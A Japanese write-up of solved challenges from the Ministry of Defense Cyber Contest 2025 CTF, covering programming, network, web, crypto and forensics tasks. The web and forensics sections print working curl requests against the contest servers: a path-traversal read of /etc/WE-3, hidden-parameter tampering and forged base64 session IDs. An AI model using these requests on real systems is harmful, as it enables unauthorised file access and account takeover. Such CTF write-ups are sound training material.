防衛省サイバーコンテスト2025 Writeup

## はじめに

2025年2月に開催された防衛省サイバーコンテスト2025に参加しましたので、解けた問題についてのWriteupです。

### 開催概要
開催期間:　2025年2月2日(日) 9:00~21:00
開催形式:　オンライン形式
出題内容:　サイバーセキュリティに求められる知識・技術に関する内容
必要なもの:　任意のソフトウェアをインストール可能なPC、インターネット接続環境

### 出題カテゴリ
出題数は以下のカテゴリで計30問でした。
* PG プログラミング（4問）
* NW ネットワーク（5問）
* WE Webアプリケーション（4問）
* CY 暗号（4問）
* FR フォレンジック・バイナリ解析（5問）
* PW PWN（5問）
* TR その他・トリビア（3問）

### 結果
結果は以下の通りでした。
始めてCTFに参加しましたが、思っていたよりは解けたと思います。他の方のWriteupを見ていると、もう何問かは解けてもよかったかなというのがありましたので、次回以降に活かしたいと思います。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/044498d7-fafe-0828-935e-89c8863f303d.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/6788a9c3-65bd-e619-8684-1f0d171a4061.png)

## PG
### 縮めるだけじゃダメ
> 添付のExcelファイルからフラグを読み取ってください。
> 【回答書式】 flag{6桁の半角数字}
> 添付ファイル: PG-1.xlsm

Excelファイルは以下の通りになっている。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/5dc14b06-a712-33bd-5263-6f50945b3ff4.png)
マクロを実行しても表示は変わらない。

マクロの内容は以下の通り。
<details><summary>Excelマクロ</summary>

```vb
Sub GET_FLAG()
Worksheets("Sheet1").Activate
Rows("1:7").RowHeight = 30
Columns("A:AT").ColumnWidth = 30
Range("A1:AT7").Interior.Color = RGB(255, 255, 255)
Range("A1:AT1").Interior.Color = RGB(0, 0, 0)
Range("A3:AT3").Interior.Color = RGB(0, 0, 0)
Range("A5:AT5").Interior.Color = RGB(0, 0, 0)
Columns("D").Interior.Color = RGB(255, 255, 255)
Columns("F").Interior.Color = RGB(255, 255, 255)
Columns("J").Interior.Color = RGB(255, 255, 255)
Columns("K").Interior.Color = RGB(255, 255, 255)
Columns("O").Interior.Color = RGB(255, 255, 255)
Columns("S").Interior.Color = RGB(255, 255, 255)
Columns("W").Interior.Color = RGB(255, 255, 255)
Columns("AA").Interior.Color = RGB(255, 255, 255)
Columns("AE").Interior.Color = RGB(255, 255, 255)
Columns("AI").Interior.Color = RGB(255, 255, 255)
Columns("AM").Interior.Color = RGB(255, 255, 255)
Columns("AQ").Interior.Color = RGB(255, 255, 255)
Range("A1:A2").Interior.Color = RGB(255, 255, 255)
Range("C2").Interior.Color = RGB(255, 255, 255)
Range("C4:C5").Interior.Color = RGB(255, 255, 255)
Range("G1:P2").Interior.Color = RGB(255, 255, 255)
Range("P5").Interior.Color = RGB(255, 255, 255)
Range("AR2:AR4").Interior.Color = RGB(255, 255, 255)
Range("AT1:AT2").Interior.Color = RGB(255, 255, 255)
Range("AT4:AT5").Interior.Color = RGB(255, 255, 255)
Range("R2:R4").Interior.Color = RGB(255, 255, 255)
Range("B1:B5").Interior.Color = RGB(0, 0, 0)
Range("E1:E5").Interior.Color = RGB(0, 0, 0)
Range("G3:G5").Interior.Color = RGB(0, 0, 0)
Range("I3:I6").Interior.Color = RGB(0, 0, 0)
Range("L3:L5").Interior.Color = RGB(0, 0, 0)
Range("N3:N7").Interior.Color = RGB(0, 0, 0)
Range("J6").Interior.Color = RGB(0, 0, 0)
Range("L7:M7").Interior.Color = RGB(0, 0, 0)
Range("Q1:Q5").Interior.Color = RGB(0, 0, 0)
Range("AS1:AS5").Interior.Color = RGB(0, 0, 0)
Range("T1:T5").Interior.Color = RGB(0, 0, 0)
Range("V1:V5").Interior.Color = RGB(0, 0, 0)
Range("X1:X5").Interior.Color = RGB(0, 0, 0)
Range("Z1:Z5").Interior.Color = RGB(0, 0, 0)
Range("AB1:AB5").Interior.Color = RGB(0, 0, 0)
Range("AD1:AD5").Interior.Color = RGB(0, 0, 0)
Range("AF1:AF5").Interior.Color = RGB(0, 0, 0)
Range("AH1:AH5").Interior.Color = RGB(0, 0, 0)
Range("AJ1:AJ5").Interior.Color = RGB(0, 0, 0)
Range("AL1:AL5").Interior.Color = RGB(0, 0, 0)
Range("AN1:AN5").Interior.Color = RGB(0, 0, 0)
Range("AP1:AP5").Interior.Color = RGB(0, 0, 0)
Range("AN2").Interior.Color = RGB(255, 255, 255)
Range("AN4").Interior.Color = RGB(255, 255, 255)
Range("T2").Interior.Color = RGB(255, 255, 255)
Range("V4").Interior.Color = RGB(255, 255, 255)
Range("AL2").Interior.Color = RGB(255, 255, 255)
Range("Z2").Interior.Color = RGB(255, 255, 255)
Range("AJ4").Interior.Color = RGB(255, 255, 255)
Range("AH2").Interior.Color = RGB(255, 255, 255)
Range("R2:V2").Interior.Color = RGB(255, 255, 255)
Range("R4:V4").Interior.Color = RGB(255, 255, 255)
Range("W2:AA2").Interior.Color = RGB(255, 255, 255)
Range("W4:AA4").Interior.Color = RGB(255, 255, 255)
Range("AB2:AH2").Interior.Color = RGB(255, 255, 255)
Range("AB4:AH4").Interior.Color = RGB(255, 255, 255)
Range("AI2:AL2").Interior.Color = RGB(255, 255, 255)
Range("AI4:AL4").Interior.Color = RGB(255, 255, 255)
Range("AM2:AR2").Interior.Color = RGB(255, 255, 255)
Range("AM4:AR4").Interior.Color = RGB(255, 255, 255)
Range("R2:AR2").Interior.Color = RGB(0, 0, 0)
Range("R4:AR4").Interior.Color = RGB(0, 0, 0)
Range("R2:AR2").Interior.Color = RGB(255, 255, 255)
Range("R4:AR4").Interior.Color = RGB(255, 255, 255)
End Sub
```
</details>
眺めていると、途中色を変えて最後に元通りに戻しているように見えたので、元に戻していそうなところ（広いレンジで白にしている箇所）を削ってみる。

```vb
Range("R2:V2").Interior.Color = RGB(255, 255, 255)
Range("R4:V4").Interior.Color = RGB(255, 255, 255)
Range("W2:AA2").Interior.Color = RGB(255, 255, 255)
Range("W4:AA4").Interior.Color = RGB(255, 255, 255)
Range("AB2:AH2").Interior.Color = RGB(255, 255, 255)
Range("AB4:AH4").Interior.Color = RGB(255, 255, 255)
Range("AI2:AL2").Interior.Color = RGB(255, 255, 255)
Range("AI4:AL4").Interior.Color = RGB(255, 255, 255)
Range("AM2:AR2").Interior.Color = RGB(255, 255, 255)
Range("AM4:AR4").Interior.Color = RGB(255, 255, 255)
Range("R2:AR2").Interior.Color = RGB(0, 0, 0)
Range("R4:AR4").Interior.Color = RGB(0, 0, 0)
Range("R2:AR2").Interior.Color = RGB(255, 255, 255)
Range("R4:AR4").Interior.Color = RGB(255, 255, 255)
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/64eb8c68-a542-8067-3e70-154a37d75c2f.png)

flag{268653}

### 暗算でもできるけど？
> 添付のソースコードを実行した際の出力値の68番目の値と、このソースコードから推測される314番目の値を足した数を答えてください。
> 【回答書式】 flag{n桁の半角数字}
> 添付ファイル: PG-2.c
```c:PG-2.c
#include <stdio.h>
int main(){int i,j,k,l;k=(((10/2*4/10*4/2)+97)*10)-10;for(i=2;i<=k;++i){l=0;for(j=2;j<i;++j){if(i%j==0){l=1;break;}}if(l==0)printf("%d\r\n",i);}return 0;}
```
コンパイルして実行すると以下のようになる。
```
$ ./a.out
2
3
5
:
983
991
997
```

68行目と314行目の値を見たいので、行番号をつけて、1000以上も表示されるようにコードを修正する。

```c:PG-2.c
#include <stdio.h>
int main(){
	int i,j,k,l;
	int num=1;
	k=(((10/2*4/10*4/2)+97)*10)-10;
	k=100000;
	printf("%d\n", k);
	for(i=2;i<=k;++i){
		l=0;
		for(j=2;j<i;++j){
			if(i%j==0){
				l=1;
				break;
			}
		}
		if(l==0)printf("%d: %d\r\n",num++, i);
	}
	return 0;
}
```
実行すると以下とわかる。
68: 337
314: 2083

flag{2420}

### loop in loop

> 以下の要件を満たすプログラムを作成してください。 プログラムの言語は問いません。
> 
> １．引数として以下の値を指定できる。
> 第一引数：文字列
> 第二引数：文字列
> ２．プログラム内部で引数に以下の処理を加える。
> それぞれの引数のハッシュ値を求める。ハッシュ関数にはRIPEMD160を使用する。
> 第一引数のハッシュ値の1文字目と第二引数のハッシュ値の1文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
> 続いて、第一引数のハッシュ値の1文字目と第二引数のハッシュ値の2文字目を抜き出し、それらの値が両方数値だった場合、それらのXORを求める。そうでない場合は何も処理しない。
> 同様に、3文字目、4文字目と続け、と第二引数のハッシュ値の最後の文字まで行う。
> 続けて第一引数のハッシュ値の2文字目に対して第二引数のハッシュ値の1文字目から同様の処理を行う。
> 同様に第一引数のハッシュ値の3文字目、4文字目と続け、と第一引数のハッシュ値の最後の文字まで行う。
> それぞれの値を加算する。
> 加算された値を10進数で出力する。
> このプログラムに下記の引数を与えた時に出力される値を答えてください。
> 
> 第一引数：Phoenix
> 第二引数：Messiah
> 【回答書式】 flag{n桁の半角数字}

ChatGPTに聞いてみたら、以下のコードを生成してくれた。
```python:script.py
import hashlib
import sys

def ripemd160_hash(value):
    h = hashlib.new('ripemd160')
    h.update(value.encode())
    return h.hexdigest()

def is_digit(char):
    return char.isdigit()

def compute_xor_sum(hash1, hash2):
    total_sum = 0
    len1, len2 = len(hash1), len(hash2)

    for i in range(len1):
        for j in range(len2):
            char1, char2 = hash1[i], hash2[j]
            if is_digit(char1) and is_digit(char2):
                total_sum += int(char1) ^ int(char2)
    
    return total_sum

def main():
    if len(sys.argv) != 3:
        print("Usage: python script.py <string1> <string2>")
        return
    
    arg1, arg2 = sys.argv[1], sys.argv[2]
    hash1 = ripemd160_hash(arg1)
    hash2 = ripemd160_hash(arg2)
    result = compute_xor_sum(hash1, hash2)
    print(result)

if __name__ == "__main__":
    main()
```

```
kali@kali:~$ python script.py Phoenix Messiah
5785
```

flag{5785}

## NW
### 頭が肝心です
> 添付したメールファイルからフラグを探してください。 フラグはこのメールが届くまでに経由した２番目のメールサーバのIPアドレスとします。
> 【回答書式】 flag{IPアドレス}
> 添付ファイル: NW-1.eml
```:NW-1.eml
Return-Path: <no-return@example.com>
X-Original-To: user@example.com
Delivered-To: user@example.com
Received: from smtp.example.com ([172.30.55.96])
　　　　by rfs.example.com; Thu, 28 Dec 2023 17:47:05 +0900 (JST)
Received: from ex.example.com ([10.231.24.42])
　　　　by smtp.example.com; Thu, 28 Dec 2023 17:45:21 +0900 (JST)
To: user@example.com
Subject: [CTF] Mail From NW
From: sender@example.com
Received: from mx.example.com ([172.16.25.39])
　　　　by ex.example.com; Thu, 28 Dec 2023 17:32:47 +0900 (JST)
Received: from mail.example.com ([192.168.52.21])
　　　　by mx.example.com; Thu, 28 Dec 2023 17:32:38 +0900 (JST)
Received: by mail.example.com (Postfix, from userid 33)
	id DE79A41AF7; Thu, 28 Dec 2023 17:32:24 +0900 (JST)
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-2022-JP
Content-Transfer-Encoding: 7bit
Message-Id: <20231228083224.DE79A41AF7@example.com>
Date: Thu, 28 Dec 2023 17:51:24 +0900 (JST)

参加者各位

このメールはサイバーコンテストにおける問題[NW]のメールです。
メールの中からフラグを見つけてください。
ご検討を祈ります。
```

下から見て、IPアドレスが含まれる「Received」フィールドのうち２番目が該当の情報となる。

flag{172.16.25.39}

### 3 Way Handshake？
> 添付したのはTCPポートスキャン時のパケットログです。 オープンポートを見つけてください。 オープンしているポート番号を小さい順に「,(カンマ)」で区切って答えてください。
> 【回答書式】 flag{n1,n2,n3,.....}
> 添付ファイル: NW-2.pcap

TCPフラグがSYN＋ACKになっているものを抽出する。
Wiresharkのフィルタを`tcp.flags == 0x0012`と設定すると結果は以下の通り。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/f880b150-c30a-69c7-65c0-4d31c7ca6081.png)

flag{21,23,37,70,79,98,109,110,111,113,143,513,514,1025,50506}

### さあ得点は？
> 添付されたパケットファイルから攻撃を特定し、その攻撃のCVEを調べてください。 その攻撃のCVSS Version2.0のBaseScoreがフラグです。 CVSSのスコアはNISTで公開されている値とします。 https://nvd.nist.gov/
> 【回答書式】 flag{数値}
> 添付ファイル: NW-3.pcap

WiresharkでTCPストリームを確認する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/fbff103e-9573-820a-6ca4-56d45dc4de67.png)
恐らく「Range」「Request-Range」フィールドに関連する脆弱性なので、それをキーワードにして検索すると、CVE-2011-3192が見つかる。

https://nvd.nist.gov/vuln/detail/cve-2011-3192
CVSS2.0のBase Score値は7.8

flag{7.8}

### decode
> 添付のパケットファイルからフラグを探してください
> 【回答書式】 flag{n桁の半角英数記号}
> 添付ファイル: NW-4.zip

ZIPファイルの中には19個のpcapファイルが入っている。
TCPストリームを確認すると、以下のような文字列があり、画像データがBase64エンコーディングされてjson形式になっているように見える。
```json
{"image":"\/9j\/4AAQSkZJRgABAQEAYABgAAD\/\/gA7Q...
```
バックスラッシュを取り除いて、Base64部分をデコードすると猫画像が出てくる。
```
base64  -d 1.txt > 1.jpg
```
全部まとめて処理した方が早いかなと思いつつ、いずれ当たるだろうと思って続けていると7つ目でフラグの画像が出る。
![7.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/aa751968-a85b-321b-fbc2-5ae733102d90.jpeg)

flag{c4ptur3_cat}

## WE
### 簡単には見せません
> https://we1-prod.2025winter-cybercontest.net/
> 【回答書式】 flag{n桁のアルファベット}

URLにアクセスすると「このページにフラグはありません」と表示される。
HTMLソースにも特に気になる点はなし。「このページ**に**」とあるのでrobots.txtを見てみる。
```
User-Agent:*
Disallow:/
Disallow:/red/
Disallow:/gold/
Disallow:/yellow/
Disallow:/blue/
Disallow:/pink/
Disallow:/black/
```
列挙されたディレクトリを順番に見ていくと、/blueにflgフォルダがあり、その中のHTMLソースにフラグが書かれている。

flag{TakeMeToTheFlag}

### 試練を乗り越えろ！
> 下記のURLからフラグを入手してください。
> https://we2-prod.2025winter-cybercontest.net/
> 【回答書式】 flag{n桁のアルファベット}

URLにアクセスすると、今何問目かを答えるフィールドが1つだけあり、10000回答える必要がある。ブラウザのデベロッパーツールで見ると、パラメータ qCount, answer, submit をPOSTしているだけなのがわかる。curlで10000回目をPOSTする。
```
$ curl -X POST -d 'qCount=10000&answer=10000&submit=%E9%80%81%E4%BF%A1' https://we2-prod.2025winter-cybercontest.net/
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<h2>試練を乗り越えろ！</h2>
<hr>
フラグが欲しければ１万問の質問に答えてください。<br>
<font color="red">おめでとうございます！<br>よく試練に耐えましたね！<br>あなたは素晴らしい！！<br>でも最初からやり直してください<br><br><br><br><br><br>というのは冗談です<br>フラグは下記のとおりです<br><b>flag{WinThroughTheGame}</font><br><hr>
第10000問<br>
今は何問目？
<br>
<form method="POST">
<input type="hidden" name="qCount" value="10000">
答え：<input type="text" name="answer" size="6">
<input type="submit" name="submit" value="送信">
</form>
</body>
</html>
```

flag{WinThroughTheGame}

### 直してる最中なんです
> 下記のサイトから脆弱性のあるアプリケーションを特定し、その脆弱性を利用してフラグを入手してください。
> https://we3-prod.2025winter-cybercontest.net/
> フラグが記載されているファイルは下記の通りです。 /etc/WE-3
> 【回答書式】 flag{25桁の半角英数字}

URLにアクセスすると「※ダウンロードの仕組みは調子悪いので(^^; 欲しい方は画像を直接コピーしてね。」と書かれている。HTMLソースを見ると、以下のようにコメントアウトされている。
```html
<!--<script type="text/javascript" src="secret/download.js"></script>-->
```
download.jsの中身を見てみると、download.phpにfNameというパラメータでファイル名を指定してPOSTするとダウンロードできそうということがわかる。
```
function dlFIle(file){
	var dataS = 'fName=' + file;
	var xhr = new XMLHttpRequest();
	xhr.open('POST','/secret/download.php');
	xhr.send(dataS);
	xhr.onload = function() {
		var strS = xhr.responseText;
	};
}
```
curlで/etc/WE-3をダウンロードしてみる。
```
$ curl -X POST -d 'fName=/etc/WE-3' https://we3-prod.2025winter-cybercontest.net/secret/download.php
<br />
<b>Warning</b>:  filesize(): stat failed for /var/www/html/secret//etc/WE-3 in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>9</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /var/www/html/secret/download.php:9) in <b>/var/www/html/secret/download.php</b> on line <b>10</b><br />
flag{fGrantUB56skBTlmF14mostFP}
```
flag{fGrantUB56skBTlmF14mostFP}

### 直接聞いてみたら？
> 下記のURLはAPIテストのためのフォームです。 ここからフラグを入手してください。
> https://we4-prod.2025winter-cybercontest.net/
> 【回答書式】 flag{n桁のアルファベット}

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/39dd8f8b-12d6-405b-e5b9-e708d676db64.png)

URLにアクセスすると、「名前」「メールアドレス」「電話番号」「住所」にチェックを入れて「問い合わせ」るページになっている。適当にチェックを入れて問い合わせをしたときのリクエストをデベロッパーツールで確認すると、dataパラメータにbase64っぽいデータを入れてPOSTしている。
```
data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZW1haWwiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9LHsibmFtZSI6ImFkZHJlc3MiLCJ2YWx1ZSI6Im9uIn1d
```
base64と思われる部分をでコードすると以下の通り。
```
[{"name":"name","value":"on"},{"name":"email","value":"on"},{"name":"tel","value":"on"},{"name":"address","value":"on"}]
```
恐らくflagというパラメータがあるのだろうと思い、jsonを以下のように変更しbase64エンコードする。
```
[{"name":"name","value":"on"},{"name":"email","value":"on"},{"name":"tel","value":"on"},{"name":"flag","value":"on"}]
```
```
W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZW1haWwiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9LHsibmFtZSI6ImZsYWciLCJ2YWx1ZSI6Im9uIn1d
```
これをcurlでPOSTする。
```
$ curl -X POST -b 'PHPSESSID=u5cjc9fidfce52r0j8krn4po65' -d 'data=W3sibmFtZSI6Im5hbWUiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoiZW1haWwiLCJ2YWx1ZSI6Im9uIn0seyJuYW1lIjoidGVsIiwidmFsdWUiOiJvbiJ9LHsibmFtZSI6ImZsYWciLCJ2YWx1ZSI6Im9uIn1d' https://we4-prod.2025winter-cybercontest.net/json.php
[["name","BLACK SMITH"],["mail","EXAMPLE@MAIL.ADDRESS"],["tel","000-0000-0000"],["flag","flag{ParameterHandlingError}"]]
```
flag{ParameterHandlingError}

## CY
### エンコード方法は一つじゃない
> 以下の文字列をデコードしてFlagを答えてください。
> %26%23%78%35%35%3b%26%23%78%36%33%3b%26%23%78%36%31%3b%26%23%78%36%65%3b%26%23%78%34%32%3b%26%23%78%37%64%3b%56%6d%46%79%61%57%39%31%63%30%56%75%59%32%39%6b%61%57%35%6e%63%77%3d%3d%36%36%36%63%36%31%36%37%37%62
> 【回答書式】 flag{n桁のアルファベット}

パーセントエンコーディングと思われるので、デコードしてみる。
```
&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;VmFyaW91c0VuY29kaW5ncw==666c61677b
```
いくつかのエンコーディングが混ざっていそう。
* `&#x55;&#x63;&#x61;&#x6e;&#x42;&#x7d;` →（数字文字参照）→`UcanB}`
* `VmFyaW91c0VuY29kaW5ncw==`→（Base64）→`VariousEncodings`
* `666c61677b`→（アスキーコードHEX表記）→`flag{`

並べ替えると以下のフラグになる。
flag{VariousEncodingsUcanB}

### File Integrity of Long Hash
> 添付のZIPファイルの中から下記のファイルを探してください。 フラグはそのファイルの中に書かれています。
> 189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf
> 【回答書式】 flag{22文字の半角英数字}
> 添付ファイル: flags.zip

ZIPファイルを展開すると、以下のようなファイルが90個入っている。
flags_10.txt, flags_11.txt, ... , flags_99.txt

問題の文字列はハッシュだと思うので、以下のサイトで形式を調べる。
https://www.tunnelsup.com/hash-analyzer/
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/e0c3a237-d7ee-749c-4e56-95c73ce3a1f0.png)

SHA2-512なので、各ファイルのハッシュ値に当てはまるものがないか確認する。
```
$ for f in *.txt; do echo -n "$f "; cat $f | sha512sum; done | grep 1899
flags_89.txt 189930e3d9e75f4c9000146c3eb12cbb978f829dd9acbfffaf4b3d72701b70f38792076f960fa7552148e8607534a15b98a4ae2a65cb8bf931bbf73a1cdbdacf  -
```
ファイルの内容を確認する。
```
$ cat flags_89.txt
flag{346D895B8FF3892191A645}
```

### Equation of ECC
> 楕円曲線のパラメータは以下の通りとします。
> a=56,b=58,p=127
> 基準点(42,67)と設定した場合、公開鍵の値が下記になる秘密鍵の最も小さい値を答えてください。
> 公開鍵(53,30)
> 【回答書式】 flag{半角数字}

ChatGPTに聞いてみたら、以下のコードを生成してくれた。
```python
# 楕円曲線上の加算
def elliptic_add(P, Q, a, p):
    if P is None:
        return Q
    if Q is None:
        return P

    x1, y1 = P
    x2, y2 = Q

    if x1 == x2 and y1 != y2:  # PとQが逆元の場合、無限遠点
        return None

    if P == Q:  # 点の2倍 (P+P)
        if y1 == 0:  # 無限遠点
            return None
        lamb = (3 * x1**2 + a) * mod_inverse(2 * y1, p) % p
    else:  # 通常の加算 (P+Q)
        lamb = (y2 - y1) * mod_inverse(x2 - x1, p) % p

    x3 = (lamb**2 - x1 - x2) % p
    y3 = (lamb * (x1 - x3) - y1) % p

    return (x3, y3)

# 楕円曲線のスカラー倍算
def scalar_mult(k, P, a, p):
    Q = None  # 無限遠点の意味
    R = P

    while k > 0:
        if k & 1:
            Q = elliptic_add(Q, R, a, p)
        R = elliptic_add(R, R, a, p)  # 2倍算
        k >>= 1

    return Q

# 最小の秘密鍵 d を探す
d = 1
while True:
    Q = scalar_mult(d, P, a, p)
    if Q == Q_target:
        break
    d += 1

d
```

flag{16}

## FR
### 露出禁止！
> 添付のログファイルから脆弱性を特定し下記のサイトからフラグを手に入れてください。
> https://fr1-prod.2025winter-cybercontest.net/
> 【回答書式】 flag{n桁のアルファベット}
> 添付ファイル: FR-1.log

```:FR-1.log
192.168.100.103 - - [10/Jul/2024:15:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.103 - - [10/Jul/2024:15:36:03 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.100.106 - - [10/Jul/2024:15:40:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [10/Jul/2024:15:40:08 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [10/Jul/2024:15:40:11 +0900] "GET /mypage.php?sesid=MTcyMjM0Nzk5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [11/Jul/2024:09:36:24 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [11/Jul/2024:09:36:29 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:36:30 +0900] "GET /ctf/fr1/index.php?msg=2 HTTP/1.1" 200 478
192.168.100.106 - - [11/Jul/2024:09:45:54 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
192.168.100.106 - - [12/Jul/2024:16:54:44 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [12/Jul/2024:16:54:50 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [12/Jul/2024:16:54:58 +0900] "GET /mypage.php?sesid=MTcyMjQ0MTU5OSw2LHVzZXI2Cg== HTTP/1.1" 200 281
192.168.100.106 - - [15/Jul/2024:13:05:03 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.100.106 - - [15/Jul/2024:13:05:13 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.100.106 - - [15/Jul/2024:13:05:18 +0900] "GET /mypage.php?sesid=MTcyMjQyNzg1NywzLHVzZXIzCg== HTTP/1.1" 200 281
192.168.123.101 - - [19/Jul/2024:21:54:42 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.101 - - [19/Jul/2024:21:54:49 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.101 - - [19/Jul/2024:21:54:51 +0900] "GET /mypage.php?sesid=MTcyMjMzNDE5MiwxLGFkbWluCg== HTTP/1.1" 200 282
192.168.123.102 - - [21/Jul/2024:16:32:32 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.102 - - [21/Jul/2024:16:32:45 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.102 - - [21/Jul/2024:16:32:52 +0900] "GET /mypage.php?sesid=MTcyMjg5MjM3NCwyLHVzZXIyCg== HTTP/1.1" 200 281
192.168.123.105 - - [25/Jul/2024:12:36:01 +0900] "GET /index.php HTTP/1.1" 200 424
192.168.123.105 - - [25/Jul/2024:12:45:32 +0900] "POST /auth.php HTTP/1.1" 302 -
192.168.123.105 - - [25/Jul/2024:12:25:36 +0900] "GET /mypage.php?sesid=MTcyMzA2NjQ5NCw1LHVzZXI1Cg== HTTP/1.1" 200 281
```

以下のURL（セッション情報）でアクセスするとセッション有効期限となる。
```
192.168.100.103 - - [10/Jul/2024:15:36:05 +0900] "GET /mypage.php?sesid=MTcyMjMxMjQxNywzLHVzZXIzCg== HTTP/1.1" 200 281
```
base64部分をデコードすると、`1722312417,3,user3`となる。

以下のURL（セッション情報）でアクセスすると、セッションは有効そうだが、このユーザにフラグはないと表示される。base64部分をデコードすると、`1767225599,6,user6`となる。
```
192.168.100.106 - - [11/Jul/2024:09:46:00 +0900] "GET /mypage.php?sesid=MTc2NzIyNTU5OSw2LHVzZXI2 HTTP/1.1" 200 281
```
左端の数値がセッション有効期限で、user6以外のログに載っているセッションは期限が切れていそう。
セッション有効期限はそのままにして、ユーザ部分だけ変えていく。

* `1767225599,3,user3` → /mypage.php?sesid=`MTc2NzIyNTU5OSwzLHVzZXIz`
* `1767225599,2,user2` → /mypage.php?sesid=`MTc2NzIyNTU5OSwyLHVzZXIy`
* `1767225599,1,user1` → /mypage.php?sesid=`MTc2NzIyNTU5OSwxLHVzZXIx`

user1で以下のフラグが表示される。
flag{SessionIDsCarefully}

### 成功の証
> フラグは攻撃者が見つけ出した「パスワード」とします。
> 【回答書式】 flag{パスワード}
> 添付ファイル: FR-2.pcap

Wiresharkで開いてinfo列でソートし、ログインが成功したレスポンスを探す。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/9e835e64-6974-7be5-bc05-803e32502c24.png)

該当した行のTCPストリームを確認する。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3568423/60473440-aa3f-ba0e-5504-ac2e24a54f09.png)

flag{zyyzzyzy}

### chemistry
> 添付のプログラムは実行時に引数として数字を与えることができます。 このプラグラムで「FLAG I AM LUCKY」と表示させるための引数を答えてください。
> 複数の引数を送る場合は、「,（カンマ）」で区切ってください。 スペースは「0」を送ってください。
> 【回答書式】 flag{数値,数値,.....}
> 添付ファイル: FR-4

FR-4の内容を確認する。
```
$ file FR-4
FR-4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6c91aaae78f63e82af69357ee57cd6264113e6cc, for GNU/Linux 3.2.0, not stripped
```
引数は数字なので、一通り入力して一覧を作る。意味のある結果になるのが118までのようなので、そこまでのループとする。
```
$ for n in $(seq 1 118); do echo -n "$n "; ./FR-4 $n; done > result.txt
```
<details><summary>result.txt</summary>

結果は以下の通り：
```
1 H
2 HE
3 LI
4 BE
5 B
6 C 
7 N
8 O
9 F
10 NE
11 NA
12 MA
13 AL
14 SI
15 P
16 S
17 CL
18 AR
19 K
20 CA
21 SC
22 TI
23 V
24 CR
25 MN
26 FE
27 CO
28 NI
29 CU
30 ZN
31 GA
32 GE
33 AS
34 SE
35 BR
36 KR
37 RB
38 SR
39 Y
40 ZR
41 NB
42 MO
43 TC
44 RU
45 RH
46 PD
47 AG
48 CD
49 IN
50 SN
51 SB
52 TE
53 I
54 XE
55 CS
56 BA
57 LA
58 CE
59 PR
60 ND
61 PM
62 SM
63 EU
64 GD
65 TB
66 DY
67 HO
68 ER
69 TM
70 YB
71 LU
72 HF
73 TA
74 W
75 RE
76 OS
77 IR
78 PT
79 AU
80 HG
81 TI
82 PB
83 BI
84 PO
85 AT
86 RN
87 FR
88 RA
89 AC
90 TH
91 PA
92 U
93 NP
94 PU
95 AM
96 CM
97 BK
98 CF
99 ES
100 FM
101 MD
102 NO
103 LR
104 RF
105 DB
106 SG
107 BH
108 HS
109 MT
110 DS
111 RG
112 CN
113 NH
114 FL
115 MC
116 LV
117 TS
118 OG
```
</details>

「FLAG I AM LUCKY」となる数字を拾っていく。
```
114 FL
47 AG
0
53 I
0
95 AM
0
71 LU
6 C 
19 K
39 Y
```

flag{114,47,0,53,0,95,0,71,6,19,39}

## PW
### CVE-2014-7169他
